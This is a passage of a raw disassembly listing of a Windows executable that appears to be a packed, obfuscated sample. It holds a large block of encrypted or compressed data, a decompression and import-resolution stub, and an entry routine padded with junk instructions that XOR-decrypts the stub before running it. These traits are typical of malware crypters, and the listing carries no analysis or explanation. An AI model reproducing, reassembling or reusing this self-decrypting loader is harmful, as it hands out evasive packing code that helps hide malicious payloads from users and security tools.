58664FDBh, 5A1B0163h dd 0B6B5EC1Bh, 2F531F99h, 0CCDC824Bh, 0D4C446D1h, 0D9B46B39h dd 5A8B0D77h, 0F86B3425h, 0DB1EFB25h, 4CC674ADh, 67704161h dd 0AB779BAFh, 43547764h, 4E192F9Eh, 203A455Ch, 67E6F891h dd 92F76D75h, 0E7AA4C1Dh, 6B2D851Bh, 0FABAE7B4h, 2940CE64h dd 759BEC9Dh, 93A585CDh, 0FF887925h, 6C0DAD0Ah, 21F53764h dd 21B6E6CEh, 65671CEDh, 90660FFBh, 961BDA0Bh, 0AD2F976Ch dd 0DB470454h, 6D67FBD8h, 3A7D5973h, 386B2361h, 35721164h dd 90B70E9Fh, 735D1221h, 0B2DA445Ah, 6976DB59h, 235D7342h dd 0E9A10DB2h, 8AC7F4D5h, 5AE6566Fh, 6DCFC958h, 22C3DBD0h dd 0C816961Ch, 0DCE12C78h, 9B3C343Bh, 14E720FCh, 3ED6D1CBh dd 2D7B7D1Ch, 692CB562h, 8B5CE1D6h, 6C0839ACh, 23473BBh dd 0D86F4876h, 0DE2F6472h, 758E1836h, 6B7C7301h, 0F0332D96h dd 610A4719h, 0A1142709h, 7818EE6Dh, 0D10634Ah, 0EDA99C0Dh dd 17751409h, 98C948Ch, 644A1CDBh, 7B695767h, 0E3A3935Ah dd 7967AC63h, 96E02C40h, 29E787B0h, 87775589h, 0C223A324h dd 0EE37BAB2h, 66A42372h, 0C06C1B10h, 0F685EF0Fh, 593FB940h dd 4897225Fh, 0EE526C54h, 0EC0E1200h, 3D603FFFh, 548FDF0Bh dd 658E101Bh, 2B2B0008h, 5F3719D1h, 1AC5A012h, 38635F07h dd 242504F9h, 0A0888D02h, 50050092h, 0A88D8481h, 0B7141908h dd 1846140Dh, 43010420h, 1E283AD4h, 0C418ECFh, 4874048h dd 0F1970179h, 10FBFB3h, 15746547h, 0C7A6953h, 7473614Ch dd 41EC4556h, 76570D60h, 743C5133h, 13826944h, 84544179h dd 111B2DFDh, 766F6D59h, 0E22B7611h, 415453D9h, 7562C174h dd 200FFF2Dh, 471373DDh, 616D6E55h, 65695670h, 6E664F77h dd 9A66DBB6h, 72A46E05h, 22483E73h, 82604DA0h, 6BDEC047h dd 46FBDB5Dh, 6157316Fh, 0A3AC3CE2h, 4C10FB62h, 1E3726Fh dd 141CC323h, 7B419ADBh, 0FB7C510Eh, 508A0C66h, 644163E1h dd 9012ED64h, 0C043AA73h, 0CC366843h, 54E2897Dh, 693D4D6Fh dd 4D747942h, 0B0DCC20Ah, 141F1596h, 5BADBAAEh, 701860C2h dd 6CB267BBh, 0DDAF084Bh, 156372BCh, 0DDA4DBCh, 79C22CFBh dd 78654E0Ah, 5002C5E4h, 74538EDBh, 849865Dh, 8802B3EDh dd 646F4D10h dd 0BADBA47Fh, 5450212Fh, 443E6D69h, 0D0764444h, 0C9ED65Eh dd 7953169Bh, 8C25BD6Bh, 0C41589ACh, 542632F2h, 344EE8Ch dd 0AA661E03h, 6A655438h, 0B6846F50h, 0F4A283Dh, 6D6B354Ch dd 493BC553h, 64657511h, 0E0870D0Ah, 6D1263B6h, 0E64D0455h dd 0B6CC0478h, 6E3DFE60h, 6BF141C5h, 2475C34Bh, 166D72D5h dd 81ECD9D0h, 3E44A916h, 3E337B1Bh, 4449434Ch, 412C6879h dd 6B24236Ah, 5B6A2709h, 82EED670h, 0A4679BDh, 69615709h dd 8E6260B1h, 7E53C337h, 6A624F3Eh, 18184F85h, 971B8093h dd 497EDBD2h, 614EE158h, 17DF4154h, 8C10ED8Ah, 65176835h dd 2DA69C6Ch, 424D0Ah, 0A08E6740h, 4BB423D8h, 0E70C7965h dd 75EEB901h, 0EEA450Bh, 26C0E353h, 0FFE730Ch, 2774200Bh dd 1B516D6Bh, 5A002257h, 0F2CBE857h, 10FFDF6Fh, 212FF1Bh dd 0ABFF164Eh, 0AD9EFF03h, 0F6F96563h, 39FF0BEDh, 0FF15C405h dd 10211433h, 0BE9A9CFFh, 1CF2DB2Dh, 205AFF02h, 0B175C02h dd 19FF0959h, 0DF76EFBBh, 33705h, 21404764h, 73693F9Fh dd 40936F5Fh, 47FDC69h, 40BE66A0h, 45425140h, 1A5A5848h dd 0EB593FFEh, 1617640Eh, 41414541h, 50403156h, 40484441h dd 0FC546DACh, 9E63671Eh, 0EC372074h, 63A6F65Bh, 583950F0h dd 591B50h, 445F3F7Bh, 452D7E15h, 50B6B3ECh, 73646342h dd 6F865F68h, 2047200Dh, 48324C2Fh, 84C8A042h, 4830497Dh dd 6B593B40h, 7B76DFA6h, 0E67000C2h, 0A47D2C6Dh, 3F313F68h dd 0B673C024h, 0BB69AD5Fh, 40E936C1h, 63105544h, 0DA0E5F93h dd 0FF0CDDADh, 18404433h, 15564066h, 2A330AEDh, 3213F16Dh dd 0B732A940h, 786316ECh, 8567B47h, 644241D9h, 6275EA53h dd 0A2DB0C9Bh, 0F85F40ACh, 76B8A43Fh, 49B6DD8Ch, 0C3665349h dd 56446C5Fh, 0E42D954Ah, 54675966h, 7856517Ch, 4C63706Eh dd 0E8424932h, 4B3C9518h, 2309034h, 3D50CE84h, 9E400550h dd 0B61851B8h, 6730374Dh, 8538716Eh, 9136374Ah, 0CC468400h dd 0E58154D3h, 370C4557h, 71028F4Dh, 0D804AAC6h, 91138DAh dd 59EA8F86h, 514E5F41h, 8408109Ah, 14030EDh, 9C34DC5Ah dd 0C936E9A6h, 6E3C9C7Ch, 0CD4D6C1h, 6C3C08B7h, 0F4BB7405h dd 0BBAEF96h, 0E11B5F69h, 5A0A706Dh, 0A7302BE9h, 7546D08h dd 0E126E5Bh, 19105586h, 76B6C65Fh, 6F3A0F6Bh, 6D3A0B67h dd 162E664Ah, 0E82BDC9h, 0C6022A94h, 1672C5C0h, 66BC07C8h dd 56BBE88h, 5F3F1E97h, 46787843h, 9849B9FBh, 11275C94h dd 0CD536854h, 77688B0Dh, 0CC6343FBh, 0FF075BC1h, 63770866h dd 3A88CE73h, 9AD8D003h, 6FB8D866h, 0D6B3620Ch, 20987596h dd 0EF7B5D8Fh, 626E28D9h, 0B32C9F0Ah, 0B1D9BD63h, 67429865h dd 5D2AF66Dh, 0A9EBD002h, 25588DEh, 0AC66EB91h, 993764AAh dd 0DEC960DAh, 608F769h, 2C1D6258h, 0A3A82712h, 96675F12h dd 6DA15A80h, 73FD4404h, 0EB5AF401h, 406C610Eh, 0BDD689BAh dd 6D27C6CEh, 3759022h, 78175D8Eh, 0FC0568EDh, 5F756A9Ch dd 0D0035066h, 766964EFh, 0DA5F701Fh, 33B0DC6Dh, 660D3B43h dd 0C43E390Bh, 0F32CD6DEh, 2C86A95Fh, 5AE6685Fh, 33451384h dd 3E184B66h, 850D134Dh, 4666A038h, 5404A487h, 8922A3E8h dd 0B60DEA6Fh, 684C828Fh, 7C52324Fh, 789312A0h, 0EEEE3117h dd 0A88C5F65h, 274911h, 0B2CB4091h, 0FF609B6Ch, 809020Ch dd 0CB6D9695h, 7062CB2h, 9E1F02C8h, 0D7E27861h, 53648823h dd 954FD648h, 60EEB30Bh, 1AAA006Bh, 528F7F90h, 163DACE1h dd 75714518h, 0E4770A5Bh, 51E0E87h, 0CF5549D4h, 73F6C140h dd 45500034h, 7F84C03h, 4043BE0Bh, 0C6480645h, 10F00E0h dd 9A06010Bh, 17B1D9EEh, 1A13A000h, 30100B19h, 2FB3759Bh dd 30B4230h, 33071E04h, 2766F7h, 0B20027D0h, 37B2F624h dd 60710B0h, 2F5E3000h, 0DF6E2100h, 7C008DCh, 0E8480328h dd 0A7ADDB0Ah, 2E4F02B8h, 6BB66F61h, 451E74C4h, 98EBAF1Ah dd 2F0DA08Eh, 722E9212h, 0C1B059B9h, 3D96086Eh, 740FBh dd 6FD9F758h, 262E4012h, 44D8400h, 6D2B4B70h, 27703653h dd 1A734FC0h, 0D836561Ah, 27C0EB98h, 4F80h, 0C41BFDFEh dd 0CB431761h, 90001h, 0FF0000h, 2 dup(0) ; --------------------------------------------------------------------------- loc_43E970: ; DATA XREF: start:loc_43EBCDo pusha mov esi, offset dword_436000 lea edi, [esi-15000h] push edi or ebp, 0FFFFFFFFh jmp short loc_43E992 ; --------------------------------------------------------------------------- align 8 loc_43E988: ; CODE XREF: TEUm:loc_43E999j mov al, [esi] inc esi mov [edi], al inc edi loc_43E98E: ; CODE XREF: TEUm:0043EA26j ; TEUm:0043EA3Dj add ebx, ebx jnz short loc_43E999 loc_43E992: ; CODE XREF: TEUm:0043E980j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_43E999: ; CODE XREF: TEUm:0043E990j jb short loc_43E988 mov eax, 1 loc_43E9A0: ; CODE XREF: TEUm:0043E9AFj ; TEUm:0043E9BAj add ebx, ebx jnz short loc_43E9AB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_43E9AB: ; CODE XREF: TEUm:0043E9A2j adc eax, eax add ebx, ebx jnb short loc_43E9A0 jnz short loc_43E9BC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_43E9A0 loc_43E9BC: ; CODE XREF: TEUm:0043E9B1j xor ecx, ecx sub eax, 3 jb short loc_43E9D0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_43EA42 mov ebp, eax loc_43E9D0: ; CODE XREF: TEUm:0043E9C1j add ebx, ebx jnz short loc_43E9DB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_43E9DB: ; CODE XREF: TEUm:0043E9D2j adc ecx, ecx add ebx, ebx jnz short loc_43E9E8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_43E9E8: ; CODE XREF: TEUm:0043E9DFj adc ecx, ecx jnz short loc_43EA0C inc ecx loc_43E9ED: ; CODE XREF: TEUm:0043E9FCj ; TEUm:0043EA07j add ebx, ebx jnz short loc_43E9F8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_43E9F8: ; CODE XREF: TEUm:0043E9EFj adc ecx, ecx add ebx, ebx jnb short loc_43E9ED jnz short loc_43EA09 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_43E9ED loc_43EA09: ; CODE XREF: TEUm:0043E9FEj add ecx, 2 loc_43EA0C: ; CODE XREF: TEUm:0043E9EAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_43EA2C loc_43EA1D: ; CODE XREF: TEUm:0043EA24j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_43EA1D jmp loc_43E98E ; --------------------------------------------------------------------------- align 4 loc_43EA2C: ; CODE XREF: TEUm:0043EA1Bj ; TEUm:0043EA39j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_43EA2C add edi, ecx jmp loc_43E98E ; --------------------------------------------------------------------------- loc_43EA42: ; CODE XREF: TEUm:0043E9CCj pop esi mov edi, esi mov ecx, 755h loc_43EA4A: ; CODE XREF: TEUm:0043EA51j ; TEUm:0043EA56j mov al, [edi] inc edi sub al, 0E8h loc_43EA4F: ; CODE XREF: TEUm:0043EA74j cmp al, 1 ja short loc_43EA4A cmp byte ptr [edi], 6 jnz short loc_43EA4A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov al, bl loop loc_43EA4F lea edi, [esi+1C000h] loc_43EA7C: ; CODE XREF: TEUm:0043EA9Ej mov eax, [edi] or eax, eax jz short loc_43EAC7 mov ebx, [edi+4] lea eax, [eax+esi+1E324h] add ebx, esi push eax add edi, 8 call dword ptr [esi+1E400h] xchg eax, ebp loc_43EA99: ; CODE XREF: TEUm:0043EABFj mov al, [edi] inc edi or al, al jz short loc_43EA7C mov ecx, edi jns short near ptr loc_43EAAA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_43EAAA: ; CODE XREF: TEUm:0043EAA2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+1E404h] or eax, eax jz short loc_43EAC1 mov [ebx], eax add ebx, 4 jmp short loc_43EA99 ; --------------------------------------------------------------------------- loc_43EAC1: ; CODE XREF: TEUm:0043EAB8j call dword ptr [esi+1E414h] loc_43EAC7: ; CODE XREF: TEUm:0043EA80j mov ebp, [esi+1E408h] lea edi, [esi-1000h] mov ebx, 1000h push eax push esp push 4 push ebx push edi call ebp lea eax, [edi+1FFh] and byte ptr [eax], 7Fh and byte ptr [eax+28h], 7Fh pop eax push eax push esp push eax push ebx push edi call ebp pop eax popa lea eax, [esp-80h] loc_43EAFB: ; CODE XREF: TEUm:0043EAFFj push 0 cmp esp, eax jnz short loc_43EAFB sub esp, 0FFFFFF80h jmp loc_43191A ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= public start start proc near cmp al, dh db 64h sbb al, 3Bh shrd edx, ebp, cl shld ecx, eax, 0F4h test eax, 1E378415h xchg ecx, eax mov esi, 3ED7A4B5h not ecx xchg esi, ecx rcr ah, cl movzx ebx, cx imul ecx, eax lea edi, ds:168FBCADh and ecx, edi imul edi, esi, 362FDC4Dh shl ecx, 6Ch inc esi shrd ebp, edi, cl sal ebx, 0F9h shrd eax, ebx, cl not esi test dh, 83h movsx edx, al db 2Eh lea edi, cs:0C6FFEC9Dh mov ecx, edi test eax, 0E69F0C3Dh inc ecx adc esi, 63F2CDDh and ecx, 81168FBCh dec al shld edi, esi, 4Dh not esi bsr ebp, edi xor ebx, ecx and ecx, 0F9EE47D4h bswap eax repne sbb ah, dl imul ebx, edx and ecx, 0A1B6AF5Ch rep adc esi, ebp db 65h bsf ebx, edx imul ecx, eax test eax, 8E6774C5h and ecx, 0E99EB704h jmp short loc_43EBCD ; --------------------------------------------------------------------------- locret_43EBCC: ; CODE XREF: start+C4j retn ; --------------------------------------------------------------------------- loc_43EBCD: ; CODE XREF: start+9Dj mov edx, offset loc_43E970 push edx mov ecx, 0C0h loc_43EBD8: ; CODE XREF: start+C2j xor dword ptr [edx], 10EB28h push ecx xor ecx, ecx mov ecx, 4 loc_43EBE6: ; CODE XREF: start+BCj add edx, 1 loop loc_43EBE6 pop ecx sub ecx, 3 loop loc_43EBD8 jmp short locret_43EBCC start endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 800h TEUm ends ; Section 4. (virtual address 00020000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00020000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 440000h dd 80h dup(0) align 1000h _idata2 ends end start